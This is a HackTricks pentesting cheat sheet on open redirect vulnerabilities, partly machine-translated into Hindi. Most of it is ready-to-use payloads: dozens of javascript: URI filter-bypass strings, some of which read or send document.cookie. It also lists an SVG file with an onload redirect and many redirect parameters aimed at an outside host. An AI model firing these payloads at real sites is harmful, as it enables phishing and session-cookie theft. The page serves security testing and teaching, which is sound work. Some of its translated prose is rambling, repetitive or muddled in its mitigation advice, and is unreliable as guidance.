hacktricks/pentesting-web/open-redirect.md
Translator workflow 75e8745ba3 Translated to Hindi
2023-11-06 08:38:02 +00:00

21 KiB

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

खुली रीडायरेक्ट

localhost या विचित्र डोमेन पर रीडायरेक्ट करें

{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %} url-format-bypass.md {% endcontent-ref %}

XSS के लिए खुली रीडायरेक्ट

#Basic payload, javascript code is executed after "javascript:"
javascript:alert(1)

#Bypass "javascript" word filter with CRLF
java%0d%0ascript%0d%0a:alert(0)

#Javascript with "://" (Notice that in JS "//" is a line coment, so new line is created before the payload). URL double encoding is needed
#This bypasses FILTER_VALIDATE_URL os PHP
javascript://%250Aalert(1)

#Variation of "javascript://" bypass when a query is also needed (using comments or ternary operator)
javascript://%250Aalert(1)//?1
javascript://%250A1?alert(1):0

#Others
%09Jav%09ascript:alert(document.domain)
javascript://%250Alert(document.location=document.cookie)
/%09/javascript:alert(1);
/%09/javascript:alert(1)
//%5cjavascript:alert(1);
//%5cjavascript:alert(1)
/%5cjavascript:alert(1);
/%5cjavascript:alert(1)
javascript://%0aalert(1)
<>javascript:alert(1);
//javascript:alert(1);
//javascript:alert(1)
/javascript:alert(1);
/javascript:alert(1)
\j\av\a\s\cr\i\pt\:\a\l\ert\(1\)
javascript:alert(1);
javascript:alert(1)
javascripT://anything%0D%0A%0D%0Awindow.alert(document.cookie)
javascript:confirm(1)
javascript://https://whitelisted.com/?z=%0Aalert(1)
javascript:prompt(1)
jaVAscript://whitelisted.com//%0d%0aalert(1);//
javascript://whitelisted.com?%a0alert%281%29
/x:1/:///%01javascript:alert(document.cookie)/
";alert(0);//

ओपन रीडायरेक्ट अपलोड करने के लिए svg फ़ाइलें

An open redirect vulnerability occurs when a web application allows users to redirect to external URLs without proper validation. This can be exploited by an attacker to redirect users to malicious websites.

Exploiting Open Redirect with SVG Files

In some cases, web applications allow users to upload SVG (Scalable Vector Graphics) files. These files can contain JavaScript code that can be executed when the SVG file is rendered by the browser.

To exploit an open redirect vulnerability with SVG files, an attacker can upload a malicious SVG file that contains JavaScript code to redirect the user to a specified URL. The SVG file can be crafted to include the redirect code within its XML structure.

When the user accesses the uploaded SVG file, the JavaScript code will execute and redirect the user to the specified URL. This can be used to trick users into visiting malicious websites or phishing pages.

Mitigating Open Redirect Vulnerabilities

To mitigate open redirect vulnerabilities when allowing SVG file uploads, it is important to implement proper input validation and sanitization.

  • Validate and sanitize user input to ensure that only valid SVG files are accepted.
  • Implement a whitelist of allowed URLs that the user can redirect to.
  • Avoid using user-supplied input directly in the redirect URL.
  • Regularly update and patch the web application to fix any security vulnerabilities.

By following these best practices, web applications can reduce the risk of open redirect vulnerabilities when allowing SVG file uploads.

<code>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<svg
onload="window.location='http://www.example.com'"
xmlns="http://www.w3.org/2000/svg">
</svg>
</code>

सामान्य इंजेक्शन पैरामीटर्स

In web applications, there are certain parameters that are commonly targeted for injection attacks. These parameters can be manipulated by an attacker to execute malicious code or perform unauthorized actions. Here are some of the most common injection parameters:

URL Parameters

URL parameters are the values that are appended to the end of a URL after a question mark (?). These parameters are often used to pass data between web pages. Attackers can exploit URL parameters by injecting malicious code into them.

Form Parameters

Form parameters are the values submitted through HTML forms. These parameters are used to send data from the client-side to the server-side. Attackers can manipulate form parameters to inject malicious code and compromise the application.

Cookies are small pieces of data stored on the client-side. They are used to store information about the user's session. Attackers can tamper with cookie parameters to gain unauthorized access or perform session hijacking.

Header Parameters

HTTP headers contain additional information about the request or response. Attackers can manipulate header parameters to inject malicious code or perform other unauthorized actions.

Database Query Parameters

Database query parameters are used to construct SQL queries. Attackers can exploit these parameters by injecting malicious SQL code, leading to SQL injection attacks.

Command Line Parameters

Command line parameters are used to pass arguments to command-line programs. Attackers can manipulate these parameters to execute arbitrary commands on the server.

It is important for developers to properly validate and sanitize these parameters to prevent injection attacks.

/{payload}
?next={payload}
?url={payload}
?target={payload}
?rurl={payload}
?dest={payload}
?destination={payload}
?redir={payload}
?redirect_uri={payload}
?redirect_url={payload}
?redirect={payload}
/redirect/{payload}
/cgi-bin/redirect.cgi?{payload}
/out/{payload}
/out?{payload}
?view={payload}
/login?to={payload}
?image_url={payload}
?go={payload}
?return={payload}
?returnTo={payload}
?return_to={payload}
?checkout_url={payload}
?continue={payload}
?return_path={payload}
success=https://c1h2e1.github.io
data=https://c1h2e1.github.io
qurl=https://c1h2e1.github.io
login=https://c1h2e1.github.io
logout=https://c1h2e1.github.io
ext=https://c1h2e1.github.io
clickurl=https://c1h2e1.github.io
goto=https://c1h2e1.github.io
rit_url=https://c1h2e1.github.io
forward_url=https://c1h2e1.github.io
@https://c1h2e1.github.io
forward=https://c1h2e1.github.io
pic=https://c1h2e1.github.io
callback_url=https://c1h2e1.github.io
jump=https://c1h2e1.github.io
jump_url=https://c1h2e1.github.io
click?u=https://c1h2e1.github.io
originUrl=https://c1h2e1.github.io
origin=https://c1h2e1.github.io
Url=https://c1h2e1.github.io
desturl=https://c1h2e1.github.io
u=https://c1h2e1.github.io
page=https://c1h2e1.github.io
u1=https://c1h2e1.github.io
action=https://c1h2e1.github.io
action_url=https://c1h2e1.github.io
Redirect=https://c1h2e1.github.io
sp_url=https://c1h2e1.github.io
service=https://c1h2e1.github.io
recurl=https://c1h2e1.github.io
j?url=https://c1h2e1.github.io
url=//https://c1h2e1.github.io
uri=https://c1h2e1.github.io
u=https://c1h2e1.github.io
allinurl:https://c1h2e1.github.io
q=https://c1h2e1.github.io
link=https://c1h2e1.github.io
src=https://c1h2e1.github.io
tc?src=https://c1h2e1.github.io
linkAddress=https://c1h2e1.github.io
location=https://c1h2e1.github.io
burl=https://c1h2e1.github.io
request=https://c1h2e1.github.io
backurl=https://c1h2e1.github.io
RedirectUrl=https://c1h2e1.github.io
Redirect=https://c1h2e1.github.io
ReturnUrl=https://c1h2e1.github.io

कोड उदाहरण

.Net

response.redirect("~/mysafe-subdomain/login.aspx")

जावा

Java एक उच्च स्तरीय, विश्वसनीय, और सुरक्षित प्रोग्रामिंग भाषा है जो विभिन्न प्लेटफ़ॉर्मों पर चलने वाले एप्लिकेशन विकसित करने के लिए उपयोग की जाती है। यह एक ऑब्जेक्ट-ओरिएंटेड भाषा है जिसमें एकल थ्रेड और बहु-थ्रेड एप्लिकेशन विकसित किए जा सकते हैं। जावा को सुरक्षित बनाने के लिए, इसमें सुरक्षा चेकिंग और संरक्षण के लिए विभिन्न तरीकों का उपयोग किया जाता है। यह एक व्यापक लाइब्रेरी और टूलसेट के साथ आता है जो विभिन्न कार्यों को सुगम बनाता है, जैसे कि नेटवर्किंग, डेटाबेस कनेक्शन, ग्राफिक्स, आदि।

जावा को इंटरनेट और वेब विकास के लिए भी उपयोग किया जा सकता है। जावा सर्वर-साइड और क्लाइंट-साइड वेब एप्लिकेशन विकसित करने के लिए उपयोग की जाती है। जावा में वेब विकास के लिए विभिन्न फ्रेमवर्क उपलब्ध हैं, जैसे कि स्प्रिंग, स्ट्रटस, और जीएसएफ़। यह फ्रेमवर्क वेब एप्लिकेशन विकसित करने को आसान बनाते हैं और अनुकूलित तरीके से डेटा को प्रबंधित करने की सुविधा प्रदान करते हैं।

जावा में वेब विकास के दौरान एक आम सुरक्षा समस्या हो सकती है जिसे ओपन रीडायरेक्ट कहा जाता है। यह एक ऐसी स्थिति होती है जब एक वेब एप्लिकेशन उपयोगकर्ता को एक वेब पेज से दूसरे पेज पर रीडायरेक्ट करती है, लेकिन उपयोगकर्ता को यह पता नहीं होता है कि वे किस पेज पर रीडायरेक्ट हुए हैं। इसका उपयोग अधिकांश वेब एप्लिकेशन में उपयोगकर्ता को अनुचित वेबसाइट पर भेजने के लिए किया जाता है, जिससे फ़िशिंग, फ़ीशिंग, या अन्य आपत्तिजनक कार्रवाई की जा सकती है।

ओपन रीडायरेक्ट को उपयोग करके हैकर्स उपयोगकर्ताओं को धोखा देकर वेबसाइट पर नियंत्रण प्राप्त कर सकते हैं। इसके लिए, हैकर्स एक ओपन रीडायरेक्ट लिंक बनाते हैं जिसे उपयोगकर्ता को क्लिक करने के लिए प्रेरित किया जाता है। जब उपयोगकर्ता लिंक पर क्लिक करता है, वेब एप्लिकेशन उपयोगकर्ता को दूसरे पेज पर रीडायरेक्ट करती है, जहां हैकर्स उपयोगकर्ता को धोखा देकर अपने उद्देश्यों को पूरा कर सकते हैं।

ओपन रीडायरेक्ट से बचने के लिए, वेब विकासकों को उपयोगकर्ता को रीडायरेक्ट करने से पहले उपयोगकर्ता को पुष्टि करने के लिए उपयोगकर्ता के द्वारा दिए गए URL को सत्यापित करना चाहिए। इसके लिए, वेब विकासकों को उपयोगकर्ता के द्वारा दिए गए URL को वैध URL या अनुमानित URL के साथ तुलना करनी चाहिए। यदि URL वैध नहीं है, तो रीडायरेक्ट को रोक देना चाहिए। इसके अलावा, वेब विकासकों को अपने वेब एप्लिकेशन में ओपन रीडायरेक्ट के लिए उपयोग होने वाले पैरामीटरों को सत्यापित करना चाहिए और केवल वैध पैरामीटरों को स्वीकार करना चाहिए।

response.redirect("http://mysafedomain.com");

PHP

ओपन रीडायरेक्ट (Open Redirect)

ओपन रीडायरेक्ट एक सुरक्षा समस्या है जो वेब अनुप्रयोगों में पायी जाती है और जिसमें एक अवैध उपयोगकर्ता यूआरएल के माध्यम से उपयोगकर्ता को अनुपयोगी या खतरनाक साइट पर रीडायरेक्ट किया जाता है। यह आमतौर पर वेब अनुप्रयोगों में उपयोग होने वाले यूआरएल पैरामीटर्स के अवशेषों का उपयोग करके किया जाता है।

ओपन रीडायरेक्ट के द्वारा हमला करने के लिए, हैकर एक वेब अनुप्रयोग में एक अवैध यूआरएल पैरामीटर का उपयोग करता है जो उपयोगकर्ता को अनुपयोगी या खतरनाक साइट पर रीडायरेक्ट करता है। जब उपयोगकर्ता इस अवैध यूआरएल पर क्लिक करता है, वेब अनुप्रयोग उपयोगकर्ता को उस यूआरएल पर रीडायरेक्ट करता है जिसे हैकर ने निर्दिष्ट किया है। इस प्रकार, हैकर उपयोगकर्ता को फ़िशिंग, फ़ीशिंग, मैलवेयर डाउनलोड, यूज़र क्रेडेंशियल्स की चोरी आदि जैसे हमलों का शिकार बना सकता है।

ओपन रीडायरेक्ट को अनुशासित करने के लिए, वेब अनुप्रयोगों में यूआरएल पैरामीटर्स की सत्यापना करनी चाहिए और केवल वैध यूआरएल पर ही रीडायरेक्ट करना चाहिए। यूआरएल पैरामीटर्स की सत्यापना करने के लिए, वेब अनुप्रयोगों में यूआरएल पैरामीटर्स को सत्यापित करने के लिए वैधता नियमों का उपयोग करना चाहिए। इसके अलावा, वेब अनुप्रयोगों को यूआरएल पैरामीटर्स को अवैध यूआरएल से अलग रखने के लिए यूआरएल एनकोडिंग का उपयोग करना चाहिए।

<?php
/* browser redirections*/
header("Location: http://mysafedomain.com");
exit;
?>

उपकरण

संसाधन

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect में आप फज़िलत सूचियाँ पा सकते हैं।
https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html
https://github.com/cujanovic/Open-Redirect-Payloads

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥